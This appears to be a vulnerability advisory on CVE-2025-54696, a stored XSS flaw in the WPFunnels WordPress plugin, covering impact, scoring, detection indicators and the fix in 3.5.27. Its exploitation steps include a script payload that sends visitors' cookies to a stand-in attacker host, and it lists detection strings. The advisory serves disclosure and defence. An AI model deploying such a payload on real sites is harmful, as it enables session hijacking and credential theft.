CVE-2025-54696: 
WordPress vulnerability analysis and mitigation

CVE-2025-54696 is a Stored Cross-Site Scripting (XSS) vulnerability in the WPFunnels WordPress plugin affecting all versions up to and including 3.5.26. The vulnerability was reported by security researcher Denver Jackson on July 10, 2025, and published by Patchstack on July 30, 2025; it was formally published in NVD on August 14, 2025. It carries a CVSS v3.1 base score of 6.5 (Medium), assigned by Patchstack (Patchstack, Red Hat CVE).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically a Stored XSS variant. An attacker with at least Contributor-level privileges can inject malicious scripts into plugin-managed content that is then persistently stored and rendered to other users visiting the affected pages. Exploitation requires user interaction from a privileged user (e.g., an administrator clicking or viewing the crafted content), as reflected in the CVSS vector's UI:R and PR:L conditions (Patchstack).

Successful exploitation allows an attacker to inject and persistently store malicious JavaScript or HTML payloads within the WordPress site, which execute in the browsers of visitors or administrators who view the affected content. This can lead to session hijacking, credential theft, unauthorized administrative actions, defacement, or redirection of site visitors to malicious external resources. The scope is marked as Changed (S:C), meaning the injected script can affect resources beyond the vulnerable component itself (Patchstack).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported for this vulnerability. The EPSS score is approximately 0.031% (0.000310), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Patchstack classifies this as low priority and notes it is unlikely to be exploited, though it acknowledges that XSS vulnerabilities of this class are sometimes used in mass-exploit campaigns targeting WordPress sites (Patchstack).

1. Gain Contributor-level access: Register or compromise an account with at least Contributor privileges on the target WordPress site running WPFunnels ≤ 3.5.26.
2. Identify injectable field: Navigate to the WPFunnels plugin interface and locate a content field (e.g., funnel page content, form field, or plugin-specific setting) that accepts user input and is rendered without proper sanitization.
3. Inject malicious payload: Insert a stored XSS payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or a similar script into the vulnerable field and save/submit the content.
4. Trigger execution: Wait for a privileged user (e.g., administrator) or site visitor to view the page or content containing the injected payload, causing the script to execute in their browser.
5. Achieve objective: Harvest session cookies, perform actions on behalf of the victim, redirect users, or escalate privileges depending on the victim's role (Patchstack).

• Logs: WordPress access logs showing POST requests to WPFunnels plugin endpoints from low-privileged user accounts containing HTML/JavaScript tags or encoded script payloads in request bodies.
• File System: Unexpected modifications to WPFunnels plugin data or WordPress database entries (e.g., wp_posts or wp_options tables) containing <script>, javascript:, or onerror= strings.
• Network: Outbound connections from site visitors' browsers to unknown external domains shortly after viewing WPFunnels-managed pages, potentially indicating cookie or credential exfiltration.
• Process/Application: Unusual admin-level actions (e.g., new user creation, plugin installation) occurring without corresponding administrator login activity, which may indicate session hijacking via XSS (Patchstack).

The vulnerability is patched in WPFunnels version 3.5.27. Site administrators should update the WPFunnels plugin to version 3.5.27 or later immediately. If an immediate update is not possible, restricting Contributor-level user registration and limiting who can create or edit WPFunnels content can reduce exposure. Patchstack users can enable auto-update for vulnerable plugins as an additional safeguard (Patchstack).

Wordfence included this vulnerability in their weekly WordPress vulnerability report for the period of July 28–August 3, 2025, indicating routine tracking by the WordPress security community. No significant vendor statements, notable researcher commentary beyond the Patchstack disclosure, or major media coverage have been identified for this vulnerability (Wordfence Blog).